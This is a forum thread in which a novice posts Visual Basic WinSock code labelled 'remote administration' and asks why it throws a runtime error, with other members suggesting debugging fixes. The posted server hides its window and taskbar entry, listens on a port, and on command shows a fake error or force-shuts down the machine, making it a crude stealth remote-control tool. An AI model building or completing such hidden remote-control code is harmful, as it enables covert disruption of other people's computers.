![]() |
|
![]() |
|
|
Thread Tools | Display Modes |
|
|
#1 |
|
Newbie
Join Date: Sep 2005
Posts: 2
Rep Power: 0
![]() |
[Help] Remote Administration using WinSock.
Server:
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub
Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End SubModule for server: Public Function DoActions(x As String)
Select Case x
Case "msgbox"
MsgBox "The file C:\windows\getboobies.exe has caused an error and will be terminated", vbCritical, "Critical Error"
Case "shutdown"
Shell "shutdown -s -f -t 00"
End Select
End FunctionClient: Private Sub cmdConnect_Click()
IpAddy = txtIP.Text
Win.Close
Win.RemotePort = 2999
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub
Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub
Private Sub cmdMsgbox_Click()
Win.SendData "msgbox"
Win.SendDate "Shell C:\"
End Sub
Private Sub cmdShutdown_Click()
Win.SendData "shutdown"
End SubFor some reason Win.Close gives me an error when i attempt to connect. Imput? |
|
|
|
|
|
#2 |
|
Programming Guru
![]() ![]() ![]() |
what's the exact error message?
__________________
http://jasonpowers.net "There are a thousand hacking at the branches of evil to one who is striking at the root." |
|
|
|
|
|
#3 |
|
Newbie
Join Date: Sep 2005
Posts: 2
Rep Power: 0
![]() |
Runtime error '424'
Object Required. |
|
|
|
|
|
#4 |
|
Expert Programmer
|
Where does the debugger break: I'd hazard a guess at win.GetData GotDat, as GotDat is not defined and needs to be a dimensioned byte array, but VB on non explicit mode should just plough on through...
|
|
|
|
|
|
#5 |
|
Programming Guru
![]() ![]() ![]() |
do you have the winsock dll referenced in your project?
__________________
http://jasonpowers.net "There are a thousand hacking at the branches of evil to one who is striking at the root." |
|
|
|
![]() |
| Bookmarks |
| Currently Active Users Viewing This Thread: 1 (0 members and 1 guests) | |
| Thread Tools | |
| Display Modes | |
|
|